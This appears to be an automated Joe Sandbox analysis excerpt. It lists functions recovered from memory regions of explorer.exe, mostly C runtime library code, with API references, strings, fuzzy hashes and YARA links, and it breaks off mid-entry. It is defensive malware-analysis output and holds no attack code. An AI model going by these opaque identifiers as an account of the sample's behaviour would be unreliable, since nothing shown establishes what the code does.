Opcode Fuzzy Hash: 2e91f14760ca50965f451ad78aef7bb371f62a1693b0c48b09e2edaf0265d003
Instruction Fuzzy Hash: EA312E22621B0586FE6C9B11E89937A33E8FB98F50F089B55E95E062A0EF7CC1C5C315

Function 0C5D4557 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__DestructExceptionObject.LIBCMT ref: 0C5D4582
RaiseException.KERNEL32 ref: 0C5D45AB
__DestructExceptionObject.LIBCMT ref: 0C5D460C
_getptd.LIBCMT ref: 0C5D455F

Part of subcall function 0C5D24AC: _getptd_noexit.LIBCMT ref: 0C5D24B2
Part of subcall function 0C5D24AC: _amsg_exit.LIBCMT ref: 0C5D24C2

_getptd.LIBCMT ref: 0C5D4611
_getptd.LIBCMT ref: 0C5D461D

Strings

csm, xrefs: 0C5D45DF

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Exception_getptd$DestructObject$Raise_amsg_exit_getptd_noexit
String ID: csm
API String ID: 1037122555-1018135373
Opcode ID: 6abbea2092d315bd62c974248328d519dfc94f580aacee7d020d41d1c077704f
Instruction ID: 8258ba56c45045b2a163bcdfe0f08edf2fb477880bdfbac12c57855f6bcb1fe2
Opcode Fuzzy Hash: 6abbea2092d315bd62c974248328d519dfc94f580aacee7d020d41d1c077704f
Instruction Fuzzy Hash: 5A211D7A204745C6DB30DF1AE44039E7760F389BA5F054215DF9A07B54DB39D486CB51

Function 0C5CD648 Relevance: 12.1, APIs: 8, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0C5CD665
_errno.LIBCMT ref: 0C5CD65A

Part of subcall function 0C5CF5B0: _getptd_noexit.LIBCMT ref: 0C5CF5B4

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0C5CD6AD
_errno.LIBCMT ref: 0C5CD6BC
_invalid_parameter_noinfo.LIBCMT ref: 0C5CD6C7

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 0fcd198eab2793f05108f05d6b5dead18827d092d1f4da092f9ee6ce59fd95c9
Instruction ID: bda277ffc936f2079ee034041ea2b9d618d5bfd8bc08bf84bd7ad0c65a3d7390
Opcode Fuzzy Hash: 0fcd198eab2793f05108f05d6b5dead18827d092d1f4da092f9ee6ce59fd95c9
Instruction Fuzzy Hash: 40213A7A7057C18ADB205BE594C436A66B0B7C47E4F55433DEA9D87B88CA6CC585CB00

Function 0B00CA48 Relevance: 12.1, APIs: 8, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0B00CA65
_errno.LIBCMT ref: 0B00CA5A

Part of subcall function 0B00E9B0: _getptd_noexit.LIBCMT ref: 0B00E9B4

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0B00CAAD
_errno.LIBCMT ref: 0B00CABC
_invalid_parameter_noinfo.LIBCMT ref: 0B00CAC7

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 1c2956d99d60b832c07fa447607c07bf5254b43af5ef126b2885591145d94db7
Instruction ID: 571cab00dc2651242da8abfef70c0df6f111076bf406438200191927ecdbf221
Opcode Fuzzy Hash: 1c2956d99d60b832c07fa447607c07bf5254b43af5ef126b2885591145d94db7
Instruction Fuzzy Hash: 67210762B243C086FF7C9761959536E62E0F745BE8F544361EAAA07BC8DF6CC5819B00

Function 0C5C5DA0 Relevance: 12.1, APIs: 8, Instructions: 57stringthreadCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 0C5C5DD4
lstrlenA.KERNEL32 ref: 0C5C5DEA
lstrlenA.KERNEL32 ref: 0C5C5DF5
lstrlenA.KERNEL32 ref: 0C5C5E00
malloc.MSVCRT ref: 0C5C5E0E
wsprintfA.USER32 ref: 0C5C5E30
lstrcatA.KERNEL32 ref: 0C5C5E3C
CreateThread.KERNEL32 ref: 0C5C5E5B

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$CreateThreadlstrcatmallocwsprintf
String ID:
API String ID: 2370468470-0
Opcode ID: 916c2672cbd5221d9b499c1ec107b634614d447ccb0456695aae5034964bd4cc
Instruction ID: 29043796e03423e9b839009c11dfe820245caffd89e704fd098d75c845b8034d
Opcode Fuzzy Hash: 916c2672cbd5221d9b499c1ec107b634614d447ccb0456695aae5034964bd4cc
Instruction Fuzzy Hash: F6119039305B408AEB589FA2AD4075AB7A1FB88FD1F4C4179DE8A43B55EF3CE1858700

Function 0C5C59D0 Relevance: 11.3, APIs: 9, Instructions: 92stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0C5C60A0: lstrlenA.KERNEL32 ref: 0C5C60CD

lstrlenA.KERNEL32 ref: 0C5C5A2C
lstrlenA.KERNEL32 ref: 0C5C5A3E
malloc.MSVCRT ref: 0C5C5A4F

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$malloc
String ID:
API String ID: 3301496367-0
Opcode ID: bfd041a110eafc60ec5d33fc1a58297f1223079662442b5d046224c743d08d17
Instruction ID: b85b7bfd92ceba3d16ae48e4dbb8333d8e9287c0e43aa32519a6cf95550d90e5
Opcode Fuzzy Hash: bfd041a110eafc60ec5d33fc1a58297f1223079662442b5d046224c743d08d17
Instruction Fuzzy Hash: A731703A314A8486DB14DFA6E84475AB7A5F788BC9F984129DF8E53B15DF3CE085CB00

Function 0C5D3060 Relevance: 10.7, APIs: 7, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 0C5D3089

Part of subcall function 0C5D02E8: malloc.LIBCMT ref: 0C5D0313
Part of subcall function 0C5D02E8: Sleep.KERNEL32 ref: 0C5D0326

free.LIBCMT ref: 0C5D318A
free.LIBCMT ref: 0C5D31A6

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: free$Sleep_malloc_crtmalloc
String ID:
API String ID: 2523592665-0
Opcode ID: 23d6ae9e41ff12712d135cce8f6f922f918409d1247914af9c0fb83ca7197bfd
Instruction ID: 40d0ffbf1b7253b95368988fabc98af961cf74dabdccd085312f49c2dba1ff82
Opcode Fuzzy Hash: 23d6ae9e41ff12712d135cce8f6f922f918409d1247914af9c0fb83ca7197bfd
Instruction Fuzzy Hash: 0B51A03A301B4593EB24DF6AE98075A73B0F788B98F454629DF5D47B20EF38C16A8744

Function 0C5DBAA0 Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0C5DBACB
_errno.LIBCMT ref: 0C5DBAC0

Part of subcall function 0C5CF5B0: _getptd_noexit.LIBCMT ref: 0C5CF5B4

_errno.LIBCMT ref: 0C5DBB6E
_invalid_parameter_noinfo.LIBCMT ref: 0C5DBB79

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: 7b3655abaedacf09bd73e1ef73c55128fd95c26ea48b30d4aa087944b26974d9
Instruction ID: def937b3c5c8086b8cd736f0d3bf0de2fe8dd1e2c7f177f0d5e02ebefe104639
Opcode Fuzzy Hash: 7b3655abaedacf09bd73e1ef73c55128fd95c26ea48b30d4aa087944b26974d9
Instruction Fuzzy Hash: 9D417A7EB0239687EF349B1AA0406BA7362F750BD5FDB4215EB8457B98DB38C181C740

Function 0B01AEA0 Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0B01AECB
_errno.LIBCMT ref: 0B01AEC0

Part of subcall function 0B00E9B0: _getptd_noexit.LIBCMT ref: 0B00E9B4

_errno.LIBCMT ref: 0B01AF6E
_invalid_parameter_noinfo.LIBCMT ref: 0B01AF79

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: 7b583b9a57fd17f4dbff173c38f96e8f58c0d522087325801c2f692f53d10127
Instruction ID: c51a179a28b0d6af2a983e00d64776b490c60c0b0e10dc2a5b3c8ee157a749c5
Opcode Fuzzy Hash: 7b583b9a57fd17f4dbff173c38f96e8f58c0d522087325801c2f692f53d10127
Instruction Fuzzy Hash: 8A4124B2B1239586DFAC9F62D5802BA73E5F740BD4F88491AEBF557684DB38C291C300

Function 0C5D77F8 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0C5D781E
_errno.LIBCMT ref: 0C5D7813

Part of subcall function 0C5CF5B0: _getptd_noexit.LIBCMT ref: 0C5CF5B4

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0C5D789D
_errno.LIBCMT ref: 0C5D78AE
_invalid_parameter_noinfo.LIBCMT ref: 0C5D78B9

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 2b48d64ce73cf33d5b9b542f967592c284f768358c259655d1be8448c2b2bd92
Instruction ID: a551a5708fc60b87e16a5c1ffd2203d2639211b76324da06ddcf171789dbe959
Opcode Fuzzy Hash: 2b48d64ce73cf33d5b9b542f967592c284f768358c259655d1be8448c2b2bd92
Instruction Fuzzy Hash: 0731697BB113A5C2DF349B1A90502BD3360F748BE4BA6422AEBD507A8CE728C191C300

Function 0B016BF8 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0B016C1E
_errno.LIBCMT ref: 0B016C13

Part of subcall function 0B00E9B0: _getptd_noexit.LIBCMT ref: 0B00E9B4

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0B016C9D
_errno.LIBCMT ref: 0B016CAE
_invalid_parameter_noinfo.LIBCMT ref: 0B016CB9

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 8d142ae25fe53c6b8e973e837228db9ed5a0d2aaec68b7a7a522a056c95e5049
Instruction ID: 697ef43036be8f02777a97cff4e6c7e307f7cad8ee322a9bbfe6ef65e4cfc1fb
Opcode Fuzzy Hash: 8d142ae25fe53c6b8e973e837228db9ed5a0d2aaec68b7a7a522a056c95e5049
Instruction Fuzzy Hash: 0C314AB2A113A186DF6C9B16D9512BD33E1F740FE4FC44926EBE50B784EB2AC551D700

Function 0B013957 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__DestructExceptionObject.LIBCMT ref: 0B013982
__DestructExceptionObject.LIBCMT ref: 0B013A0C
_getptd.LIBCMT ref: 0B01395F

Part of subcall function 0B0118AC: _getptd_noexit.LIBCMT ref: 0B0118B2
Part of subcall function 0B0118AC: _amsg_exit.LIBCMT ref: 0B0118C2

_getptd.LIBCMT ref: 0B013A11
_getptd.LIBCMT ref: 0B013A1D

Strings

csm, xrefs: 0B0139DF

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$DestructExceptionObject$_amsg_exit_getptd_noexit
String ID: csm
API String ID: 331613561-1018135373
Opcode ID: 6abbea2092d315bd62c974248328d519dfc94f580aacee7d020d41d1c077704f
Instruction ID: 0c151060ee9600d2c950c6a40d640566bc6db5c6b38ed1ddccd1404daaf8ead9
Opcode Fuzzy Hash: 6abbea2092d315bd62c974248328d519dfc94f580aacee7d020d41d1c077704f
Instruction Fuzzy Hash: 29215E3660468487D73CDF16E44039EB7A0F788BA4F448626CF9913B54CF39E486CB14

Function 0C5BCED0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0C5BCEE9

Part of subcall function 0C5BE740: std::_Lockit::_Lockit.LIBCPMT ref: 0C5BE756
Part of subcall function 0C5BE740: std::_Lockit::~_Lockit.LIBCPMT ref: 0C5BE779

std::_Facet_Register.LIBCPMT ref: 0C5BCF4E
std::_Lockit::~_Lockit.LIBCPMT ref: 0C5BCF58
std::bad_exception::bad_exception.LIBCMT ref: 0C5BCF7C
_CxxThrowException.LIBCMT ref: 0C5BCF8D

Strings

bad cast, xrefs: 0C5BCF70

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrowstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 3838066056-3145022300
Opcode ID: 1f58cbcad0499723ce31d8a6380b7b06f9ce7443f8e9123b454c8a1b1e3dd063
Instruction ID: bb3189292134f5115c8e827093bd27c9367e1e196749fc38351182bbbd42d122
Opcode Fuzzy Hash: 1f58cbcad0499723ce31d8a6380b7b06f9ce7443f8e9123b454c8a1b1e3dd063
Instruction Fuzzy Hash: D3114279304F45C1DE14EB56E8803AAA761F7C8BE4F8842259A5D47BA8EE7CE14AC740

Function 0C5BCFA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0C5BCFB9

Part of subcall function 0C5BE740: std::_Lockit::_Lockit.LIBCPMT ref: 0C5BE756
Part of subcall function 0C5BE740: std::_Lockit::~_Lockit.LIBCPMT ref: 0C5BE779

std::_Facet_Register.LIBCPMT ref: 0C5BD01E
std::_Lockit::~_Lockit.LIBCPMT ref: 0C5BD028
std::bad_exception::bad_exception.LIBCMT ref: 0C5BD04C
_CxxThrowException.LIBCMT ref: 0C5BD05D

Strings

bad cast, xrefs: 0C5BD040

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrowstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 3838066056-3145022300
Opcode ID: 528b27b0e7215fecc2c12ef964503bcb41de3a057b44eb648b0b0da492d48c5d
Instruction ID: 46c5319ed76612a4cad25838881dcdac289091b15f923cab84422f76cda85e80
Opcode Fuzzy Hash: 528b27b0e7215fecc2c12ef964503bcb41de3a057b44eb648b0b0da492d48c5d
Instruction Fuzzy Hash: 99118239304F46C1DE04EB56E89039AA761F7C8BE4F484225D99D47BA8EF7CE14AC740

Function 0C5D4654 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0C5D4675
_getptd.LIBCMT ref: 0C5D4683
_getptd.LIBCMT ref: 0C5D4695

Strings

MOC, xrefs: 0C5D4663
csm, xrefs: 0C5D466B
RCC, xrefs: 0C5D465B

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 7997cc07de5a0b9fe1d06e3a3cd088aa0d5137e088e48fbd6215a328365de7e6
Instruction ID: 42f26b359fe101d6171bfce902d5d4cd53feb58c50de728f4aa09c7cdd6ab350
Opcode Fuzzy Hash: 7997cc07de5a0b9fe1d06e3a3cd088aa0d5137e088e48fbd6215a328365de7e6
Instruction Fuzzy Hash: 84E0653E600305CAC7396B6CC5043AC32A0FBD8B1AF9785A19A0147700DBBC4889CE23

Function 0B013A54 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0B013A75
_getptd.LIBCMT ref: 0B013A83
_getptd.LIBCMT ref: 0B013A95

Strings

csm, xrefs: 0B013A6B
MOC, xrefs: 0B013A63
RCC, xrefs: 0B013A5B

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 7997cc07de5a0b9fe1d06e3a3cd088aa0d5137e088e48fbd6215a328365de7e6
Instruction ID: ddc745d66e9077f2c5651e024482a76dd8e8412ac90de613fb0b90bd707011c0
Opcode Fuzzy Hash: 7997cc07de5a0b9fe1d06e3a3cd088aa0d5137e088e48fbd6215a328365de7e6
Instruction Fuzzy Hash: 14E01A3A901144EBC76D6BA590463EC36A0FB98B0AFC6DDE6875857310C7BC45848B16

Function 0C5B4A00 Relevance: 9.1, APIs: 6, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

isdigit.MSVCRT ref: 0C5B4A27
isdigit.MSVCRT ref: 0C5B4A46
isdigit.MSVCRT ref: 0C5B4A60
isdigit.MSVCRT ref: 0C5B4A7F
isdigit.MSVCRT ref: 0C5B4AA1
isdigit.MSVCRT ref: 0C5B4AAE

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: isdigit
String ID:
API String ID: 2326231117-0
Opcode ID: 90b00852da28df6c82046a2b6c60c13adba97fd5abf21ce1f3b3af4ee8bb180e
Instruction ID: 7f4cb0faff7f0e64666fbe58bd611d57dc1e87496f3f0812cc6b06bdf15f2085
Opcode Fuzzy Hash: 90b00852da28df6c82046a2b6c60c13adba97fd5abf21ce1f3b3af4ee8bb180e
Instruction Fuzzy Hash: 7721C53C744A5996FB349B92EC953FE2AEBF700FA1F04462AC54172853EB1CC0D48648

Function 0C5C5940 Relevance: 9.0, APIs: 6, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 0C5C596F
lstrlenA.KERNEL32 ref: 0C5C597A
malloc.MSVCRT ref: 0C5C5988
lstrcpyA.KERNEL32 ref: 0C5C599F
lstrcatA.KERNEL32 ref: 0C5C59AB
lstrcatA.KERNEL32 ref: 0C5C59B7

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$lstrcpymalloc
String ID:
API String ID: 3932841890-0
Opcode ID: 72d33d8974886c257c2ca5b9be51570f178280123876d2084ba8319bc931329f
Instruction ID: 22ca88224ee074ab464f60a6906296af10e2f1f468d6d7fd24b93a3cdda9b881
Opcode Fuzzy Hash: 72d33d8974886c257c2ca5b9be51570f178280123876d2084ba8319bc931329f
Instruction Fuzzy Hash: D401A228702B0582FF48DB52BD54B1AA761FBC8FD1F0C91388D0A07754DE3CE0868700

Function 0C5CCE1C Relevance: 9.0, APIs: 6, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0C5CCE36
abort.LIBCMT ref: 0C5CCE53
DecodePointer.KERNEL32 ref: 0C5CCE67
_NMSG_WRITE.LIBCMT ref: 0C5CCE79
_set_abort_behavior.LIBCMT ref: 0C5CCE85
abort.LIBCMT ref: 0C5CCE8A

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Pointerabort$DecodeEncode_set_abort_behavior
String ID:
API String ID: 2556904055-0
Opcode ID: da11c466fb8982ce54f7a997522042ff2a06bc1c8b00337ed4e9437099afdc58
Instruction ID: 133807403880e82440ddb7e01bad1ce851e9a1309365d905c8ab342b8696f05e
Opcode Fuzzy Hash: da11c466fb8982ce54f7a997522042ff2a06bc1c8b00337ed4e9437099afdc58
Instruction Fuzzy Hash: FAF05E3C712F0585FE1C77A4AC957582320FBCAB42F540A28C50E07BE0DE78A1968700

Function 0B00F0B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0B00F195
__crtCompareStringEx.LIBCMT ref: 0B00F1F0
free.LIBCMT ref: 0B00F203
free.LIBCMT ref: 0B00F214

Strings

p, xrefs: 0B00F0B0

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: free$CompareString__crtmalloc
String ID: p
API String ID: 1736151240-2181537457
Opcode ID: 5f8d3eb82e486a5eb4ba1d5c53f7d03f45e796fccc5dad79fb6ee34413f7a797
Instruction ID: 7051ecdab89904773e5c5b5917452296882d259bd01edb42a04b6b76ff98255d
Opcode Fuzzy Hash: 5f8d3eb82e486a5eb4ba1d5c53f7d03f45e796fccc5dad79fb6ee34413f7a797
Instruction Fuzzy Hash: AA31CE7232074286F7399F59E4407AA77A2F784BA8F444B22DE2D57BE4DF38C1418300

Function 0C5BD9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0C5BD9F2
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0C5BDA38

Part of subcall function 0C5CCC6C: setlocale.LIBCMT ref: 0C5CCC80
Part of subcall function 0C5CCC6C: _Yarn.LIBCPMT ref: 0C5CCC9A
Part of subcall function 0C5CCC6C: setlocale.LIBCMT ref: 0C5CCCA9

std::bad_exception::bad_exception.LIBCMT ref: 0C5BDA57
_CxxThrowException.LIBCMT ref: 0C5BDA68

Strings

bad locale name, xrefs: 0C5BDA4B

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: setlocalestd::_$ExceptionLocinfo::_Locinfo_ctorLockitLockit::_ThrowYarnstd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 409252694-1405518554
Opcode ID: b2b64cb0f4d027bc5868684a66aea558d7d0a4692b6637d6a8eb43bad466f8a8
Instruction ID: 99471f957fdb55f1e4f73d8c31866c1f0b9564bab1693c2cc3bf2829d2e2f6ee
Opcode Fuzzy Hash: b2b64cb0f4d027bc5868684a66aea558d7d0a4692b6637d6a8eb43bad466f8a8
Instruction Fuzzy Hash: 9BF04F7A310946D1CB14FB69DE901EC5735FBD4B88F848431860E569ADFE38CA8AC750

Function 0AFFCDE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0AFFCDF2
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0AFFCE38

Part of subcall function 0B00C06C: setlocale.LIBCMT ref: 0B00C080
Part of subcall function 0B00C06C: _Yarn.LIBCPMT ref: 0B00C09A
Part of subcall function 0B00C06C: setlocale.LIBCMT ref: 0B00C0A9

std::bad_exception::bad_exception.LIBCMT ref: 0AFFCE57
_CxxThrowException.LIBCMT ref: 0AFFCE68

Strings

vmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0, xrefs: 0AFFCE4B

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: setlocalestd::_$ExceptionLocinfo::_Locinfo_ctorLockitLockit::_ThrowYarnstd::bad_exception::bad_exception
String ID: vmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0
API String ID: 409252694-2566049072
Opcode ID: 9f768d8d5cf71a7b318ba6a304cfc1fffb55f5fedb7a3e3c86de94bd0d3bb74e
Instruction ID: b72f123044f2c027f42af3bcbfb21020d0516f1be97ed79e4999deca55bfe911
Opcode Fuzzy Hash: 9f768d8d5cf71a7b318ba6a304cfc1fffb55f5fedb7a3e3c86de94bd0d3bb74e
Instruction Fuzzy Hash: ADF06D63220A4990DF24EF25DD901ADB325EF98B88FC86421C71E47AB9EF24C94AC350

Function 0C5DDD6C Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0C5DDDCE
_isleadbyte_l.LIBCMT ref: 0C5DDDFE
MultiByteToWideChar.KERNEL32 ref: 0C5DDE3D
MultiByteToWideChar.KERNEL32 ref: 0C5DDE8B
_errno.LIBCMT ref: 0C5DDE95

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: 9e1950b4a0606a39ec9e4de5ceeeb3a679c103b68c93a251864d8d2b12be611c
Instruction ID: 02dc7b8da31206ffb4f36797294d54a0a2df2d406d4d09428dd8e1bd1746a281
Opcode Fuzzy Hash: 9e1950b4a0606a39ec9e4de5ceeeb3a679c103b68c93a251864d8d2b12be611c
Instruction Fuzzy Hash: BC31DD3A315782C6DB30DF29E580229BB75FB95FC0F2A8226EB8957B59DB38C4418710

Function 0AFFC2D0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0AFFC2E9

Part of subcall function 0AFFDB40: std::_Lockit::_Lockit.LIBCPMT ref: 0AFFDB56
Part of subcall function 0AFFDB40: std::_Lockit::~_Lockit.LIBCPMT ref: 0AFFDB79

std::_Facet_Register.LIBCPMT ref: 0AFFC34E
std::_Lockit::~_Lockit.LIBCPMT ref: 0AFFC358
std::bad_exception::bad_exception.LIBCMT ref: 0AFFC37C
_CxxThrowException.LIBCMT ref: 0AFFC38D

Memory Dump Source

